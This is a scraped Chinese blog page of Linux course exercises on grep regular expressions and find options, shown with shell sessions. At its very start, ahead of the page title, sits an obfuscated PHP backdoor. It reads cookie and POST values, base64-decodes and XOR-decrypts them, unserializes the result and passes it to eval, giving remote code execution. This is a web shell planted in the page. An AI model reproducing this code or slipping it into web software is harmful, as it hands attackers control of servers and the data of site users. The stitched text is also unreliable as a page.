$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班21期+第五周课程练习 | Linux运维部落

马哥教育网络班21期+第五周课程练习

马哥教育网络班21期+第5周课程练习

[TOC]

1. 显示/boot/grub/grub.conf中至少以一个空白字符开头的行。

[root@rhel-5 ~]# grep -E '^[[:space:]]+' /boot/grub/grub.conf 
	root (hd0,0)
	kernel /vmlinuz-2.6.18-348.el5 ro root=LABEL=/ rhgb quiet
	initrd /initrd-2.6.18-348.el5.img
[root@rhel-5 ~]# grep '^[[:space:]]\+' /boot/grub/grub.conf

2. 显示/etc/rc.d/rc.sysinit文件中以#开头,后面至少一个空白字符,而后又有至少一个非空白字符的行。

[root@rhel-5 ~]# grep -E '^#[[:space:]]+[^[:space:]]+' /etc/rc.d/rc.sysinit

3. 打出netstat -tan命令执行结果中以LISTEN后跟空白字符结尾的行。

[root@rhel-5 ~]# netstat -tan | grep 'LISTEN[[:space:]]*'
tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:3938                0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:6000                0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:1521                0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:6010              0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:6011              0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:734                 0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN

4. 添加用户bashtestbash,basher,nologin(此用户的shell为/sbin/nologin),而后找出当前系统上用户和默认shell相同的用户信息。

[root@rhel-5 tuser1]# useradd bash
[root@rhel-5 tuser1]# useradd testbash
[root@rhel-5 tuser1]# useradd basher
[root@rhel-5 tuser1]# useradd -s /sbin/nologin nologin
[root@rhel-5 tuser1]# grep -E  "(^[[:alpha:]]+):.*\1$" /etc/passwd
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
bash:x:502:504::/home/bash:/bin/bash
nologin:x:505:507::/home/nologin:/sbin/nologin

5. 显示当前系统上rootfedorauser1用户的默认shell

[root@rhel-5 ~]# grep -E '^(root|fedora|user1)' /etc/passwd
root:x:0:0:root:/root:/bin/bash
[root@rhel-5 ~]# grep -E '^(root|fedora|user1)' /etc/passwd | cut -d: -f7
/bin/bash

6. 找出/etc/rc.d/init.d/functions文件中某单词后面跟一组小括号的行,形如:hello ()。

[root@rhel-5 ~]# grep "^\<[a-z]\+\>()" /etc/rc.d/init.d/functions
checkpid() {
daemon() {
killproc() {
pidfileofproc() {
pidofproc() {
status() {
success() {
failure() {
passed() {
warning() {
action() {
strstr() {
confirm() {
[root@rhel-5 ~]# grep -E '^\<[[:alpha:]]+\>\(\)' /etc/rc.d/init.d/functions

7. 使用echo命令输出一个绝对路径,使用grep取出其基名。

grep -oE "[^/]+/?$" | cut -d"/" -f 1

[root@rhel-6 rc.d]# echo /usr/appsoft/software/12.txt/ | grep -oE "[^/]+/?$" | cut -d"/" -f 1
12.txt
[root@rhel-6 rc.d]# echo /usr/appsoft/software/12.txt | grep -oE "[^/]+/?$" | cut -d"/" -f 1
12.txt

7.1 扩展:取出其路径名。

[root@rhel-6 rc.d]# echo /usr/appsoft/software/12.txt | grep -oE ".*/"
/usr/appsoft/software/

8. 找出ifconfig命令结果中的1-255之间的数字。

[root@rhel-5 ~]# ifconfig | grep -wE '([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-5][0-5])'
[root@rhel-5 ~]# ifconfig | grep -wE '[1-9][0-9]?|1[0-9][0-9]|2[0-5][0-5]'

9. 挑战题:写一个模式,能匹配合理的IP地址

这里认为合理的IP为:[0-255].[0-255].[0-255].[0-255]
grep -wE '(([0-1]?[0-9]?[0-9]|2[0-5]{2})\.){3}([0-1]?[0-9]?[0-9]|2[0-5]{2})'

10. 挑战题:写一个模式,能匹配所有的邮件地址。

grep -E '[[:alnum:]]+.*@[[:alnum:]]+\.[[:alnum:]]+\.?[[:alpha:]]+'

11. 查找/var目录下属主为root且属组为mail的所有文件或目录。

[root@rhel-5 ~]# find /var -user root -group mail
/var/spool/mail
/var/spool/mqueue
[root@rhel-5 var]# find /var -user root -group mail -ls
3381291    8 drwxrwxr-x   2 root     mail         4096 8月  1 13:44 /var/spool/mail
 70581    8 drwx------   2 root     mail         4096 7月 28  2011 /var/spool/mqueue
[root@rhel-5 var]# find /var \( -user root -group mail \) -ls
3381291    8 drwxrwxr-x   2 root     mail         4096 8月  1 13:44 /var/spool/mail
 70581    8 drwx------   2 root     mail         4096 7月 28  2011 /var/spool/mqueue

11.1 关于find命令-ls参数的用法总结

find命令中使用了-a(逻辑与)或-o(逻辑或)时,如果还需要使用-ls参数,则需要注意:

-a: 使用逻辑与时,各条件是否使用()括起来均可,建议使用()括起来;

-O: 使用逻辑或时,各条件必须使用()括起来,否则查找结果显示错误。

-o:若不使用(),一般认为会显示最后一个逻辑条件的查找结果,但是实验发现,最后一个逻辑条件的查找结果显示也是错误的,所以逻辑或查找条件中,必须将各条件用()括起来。

示例:

-a: 可以省略不写

[root@rhel-5 var]# find /var -user oracle -group mail -ls
2763626    0 -rw-r--r--   1 oracle   mail            0 8月  1 14:48 /var/123.sh
3390953    0 -rw-rw----   1 oracle   mail            0 7月 29 15:34 /var/spool/mail/oracle
[root@rhel-5 var]# find /var \( -user oracle -group mail \) -ls
2763626    0 -rw-r--r--   1 oracle   mail            0 8月  1 14:48 /var/123.sh
3390953    0 -rw-rw----   1 oracle   mail            0 7月 29 15:34 /var/spool/mail/oracle

-o:该参数配合-ls使用时,注意以下两点:

  • 第一条命令中,各逻辑条件不用()括起来,一般认为其只会显示最后一个逻辑条件的结果,即 -group mail,但是/var/123.sh的属组为mail,结果却没有显示出来,所以显示最后一个逻辑条件的查找结果的说法也是错误的。

  • find命令使用逻辑或进行条件查找时,各条件必须使用()括起来。

[root@rhel-5 var]# find /var -user oracle -o -group mail -ls
3381291    8 drwxrwxr-x   2 root     mail         4096 8月  1 13:44 /var/spool/mail
3413767    0 -rw-rw----   1 nologin  mail            0 7月 31 19:26 /var/spool/mail/nologin
3413764    0 -rw-rw----   1 bash     mail            0 7月 31 19:26 /var/spool/mail/bash
3390134    4 -rw-rw----   1 rpc      mail            0 7月 29 10:01 /var/spool/mail/rpc
3413766    0 -rw-rw----   1 basher   mail            0 7月 31 19:26 /var/spool/mail/basher
3413765    0 -rw-rw----   1 testbasher mail            0 7月 31 19:26 /var/spool/mail/testbasher
3413768    0 -rw-rw----   1 testbash mail            0 8月  1 13:44 /var/spool/mail/testbash
3413763    0 -rw-rw----   1 hadoop   mail            0 7月 31 19:04 /var/spool/mail/hadoop
 70581    8 drwx------   2 root     mail         4096 7月 28  2011 /var/spool/mqueue
[root@rhel-5 var]# find /var \( -user oracle -o -group mail \) -ls
397605    0 srwxrwxrwx   1 oracle   oinstall        0 7月 29 15:59 /var/tmp/.oracle/sEXTPROC1521
397606    0 srwxrwxrwx   1 oracle   oinstall        0 7月 29 15:59 /var/tmp/.oracle/s#27699.2
397604    0 srwxrwxrwx   1 oracle   oinstall        0 7月 29 15:59 /var/tmp/.oracle/s#27699.1
 41919   16 -rw-------   1 oracle   oinstall    15000 7月 29 15:35 /var/cache/coolkey/coolkeypk11sE-Gate\ 0\ 0-500
2763626    0 -rw-r--r--   1 oracle   mail            0 8月  1 14:48 /var/123.sh
3381291    8 drwxrwxr-x   2 root     mail         4096 8月  1 13:44 /var/spool/mail
3413767    0 -rw-rw----   1 nologin  mail            0 7月 31 19:26 /var/spool/mail/nologin
3413764    0 -rw-rw----   1 bash     mail            0 7月 31 19:26 /var/spool/mail/bash
3390134    4 -rw-rw----   1 rpc      mail            0 7月 29 10:01 /var/spool/mail/rpc
3413766    0 -rw-rw----   1 basher   mail            0 7月 31 19:26 /var/spool/mail/basher
3413765    0 -rw-rw----   1 testbasher mail            0 7月 31 19:26 /var/spool/mail/testbasher
3413768    0 -rw-rw----   1 testbash mail            0 8月  1 13:44 /var/spool/mail/testbash
3413763    0 -rw-rw----   1 hadoop   mail            0 7月 31 19:04 /var/spool/mail/hadoop
3390953    0 -rw-rw----   1 oracle   mail            0 7月 29 15:34 /var/spool/mail/oracle
 70581    8 drwx------   2 root     mail         4096 7月 28  2011 /var/spool/mqueue

12. 查找当前系统上没有属主或属组的文件。

[root@rhel-5 var]# useradd ies
[root@rhel-5 ies]# userdel ies
[root@rhel-5 ies]# find / \( -nouser -o -nogroup \) -ls
3413769    0 -rw-rw----   1 507      mail            0 8月  1 15:23 /var/spool/mail/ies
3348827    4 drwx------   4 507      509          4096 8月  1 15:24 /home/ies
2048441    4 -rw-r--r--   1 507      509           176 8月  1 15:23 /home/ies/.bash_profile
2048442    4 -rw-r--r--   1 507      509           515 8月  1 15:23 /home/ies/.emacs
3348828    4 drwxr-xr-x   3 507      509          4096 8月  1 15:23 /home/ies/.kde
3348829    4 drwxr-xr-x   2 507      509          4096 8月  1 15:23 /home/ies/.kde/Autostart
2113337    4 -rw-r--r--   1 507      509           381 8月  1 15:23 /home/ies/.kde/Autostart/.directory
2048443    4 -rw-r--r--   1 507      509            33 8月  1 15:23 /home/ies/.bash_logout
2048444    4 -rw-r--r--   1 507      509           658 8月  1 15:23 /home/ies/.zshrc
2048446    0 -rw-r--r--   1 507      509             0 8月  1 15:24 /home/ies/ies.txt
3348830    4 drwxr-xr-x   4 507      509          4096 8月  1 15:23 /home/ies/.mozilla
3348831    4 drwxr-xr-x   2 507      509          4096 8月  1 15:23 /home/ies/.mozilla/extensions
3348832    4 drwxr-xr-x   2 507      509          4096 8月  1 15:23 /home/ies/.mozilla/plugins
2048445    4 -rw-r--r--   1 507      509           124 8月  1 15:23 /home/ies/.bashrc

12.1 查找当前系统上没有属主或属组,且最近3天内曾被访问过的文件或目录。

[root@rhel-5 ies]# find / -nouser -o -nogroup -a -atime -3
[root@rhel-5 ies]# find / \( -nouser -o -nogroup -a -atime -3 \) -ls

find命令的逻辑条件查找中使用-ls参数,需要用()将各逻辑条件括起来。

13. 查找/etc目录下所有用户都有写权限的文件。

[root@rhel-5 etc]# find /etc/ -perm -222

14. 查找/etc目录下大于1M且类型为普通文件的所有文件。

[root@rhel-6 rc.d]# find /etc/ -size +1M -type f
/etc/gconf/gconf.xml.defaults/%gconf-tree.xml
/etc/selinux/targeted/policy/policy.24
/etc/selinux/targeted/modules/active/policy.kern
[root@rhel-6 rc.d]# find /etc/ \( -size +1M -type f \) -ls
567266 1968 -rw-r--r--   1 root     root      2014902 8月  1 17:39 /etc/gconf/gconf.xml.defaults/%gconf-tree.xml
437789 7124 -rw-r--r--   1 root     root      7292701 8月  2 08:55 /etc/selinux/targeted/policy/policy.24
437514 7124 -rw-r--r--   1 root     root      7292701 8月  2 08:55 /etc/selinux/targeted/modules/active/policy.kern

15. 查找/etc/init.d目录下,所有用户都有执行权限,且其他用户有写权限的文件。

[root@rhel-6 rc.d]# find /etc/init.d/ -perm 113

16. 查找/usr目录下不属于rootbinhadoop的文件。

[root@rhel-6 rc.d]# find /usr ! \( -user root -o -user bin -o -user hadoop \) -ls
[root@rhel-6 rc.d]# find /usr ! -user root -a ! -user bin -a ! -user hadoop

17. 查找/etc目录下至少有一类用户没有写权限的文件。

[root@rhel-6 rc.d]# find /etc ! -perm -222 -ls

18. 查找/etc目录下最近一周内其内容被修改过,且不属于root或hadoop的文件。

[root@rhel-6 rc.d]# find /etc -mtime -7 -a ! -user root -a ! -user hadoop

原创文章,作者:N21_未来人,如若转载,请注明出处:http://www.178linux.com/27320

(0)
上一篇 2016-08-02 15:24
下一篇 2016-08-02 16:31

相关推荐

  • DHCP服务介绍及搭建

    DHCP服务介绍及搭建

    2018-01-16
  • 关于 进程和性能监控

            Linux系统状态的查看及管理工具:     pstree, ps, pidof, pgrep, top, htop, glance,pmap, vmstat, dstat, kill, pkill, job, bg, fg, nohup pstree命…

    系统运维 2016-09-11
  • Linux Cluster之LVS

    一、Linux Cluster 基础: Cluster:计算机集合为解决某个特定问题组合起来形成的单个系统 Linux Cluster类型: LB(Load Banlancing):负载均衡 HA(High Availability):高可用。提高服务可用性,避免出现单点故障 HP(High Performance):高性能 可用性衡量公式: A=MTBF/…

    2016-11-02
  • N25-第八周博客作业

    1、写一个脚本,使用ping命令探测172.16.250.1-172.16.250.254之间的所有主机的在线状态; 在线的主机使用绿色显示;不在线的主使用红色显示; #!/bin/bash # ping探测主机在线状态 for i in `seq 254`;do if ping -c 1 172.16.0.$i &> /dev/null;th…

    Linux干货 2017-02-23
  • Linux系统上的人机交互

    众所周知,计算机上运行的数据流最后都会以二进制的方式流转,这对计算机来说确实没什么问题,但是对人类来说,这样的方式无疑太难理解,所以计算机通过转换,将二进制的0、1字符串转换成人们可以易于理解的字母和数字,来方便计算机与人类的沟通和交互。这样一来,人类可以读取和输入人类习惯的字母和数字;而计算机可以使用自己的0、1字符串接收任务和返回结果。然而,这一过程就少…

    Linux干货 2017-09-01
  • grep,find用法-2

    1、显示当前系统上root、fedora或user1用户的默认shell; grep -E “^(root|fedora|user1)>” /etc/passwd | cut -d: -f1,7 [root@bogon Desktop]# grep -E “^(root|fedora|user1)\>” /etc/pass…

    Linux干货 2017-08-04

评论列表(1条)

  • Net21-冰冻vs西瓜
    Net21-冰冻vs西瓜 2016-08-03 10:36

    写的不错哈!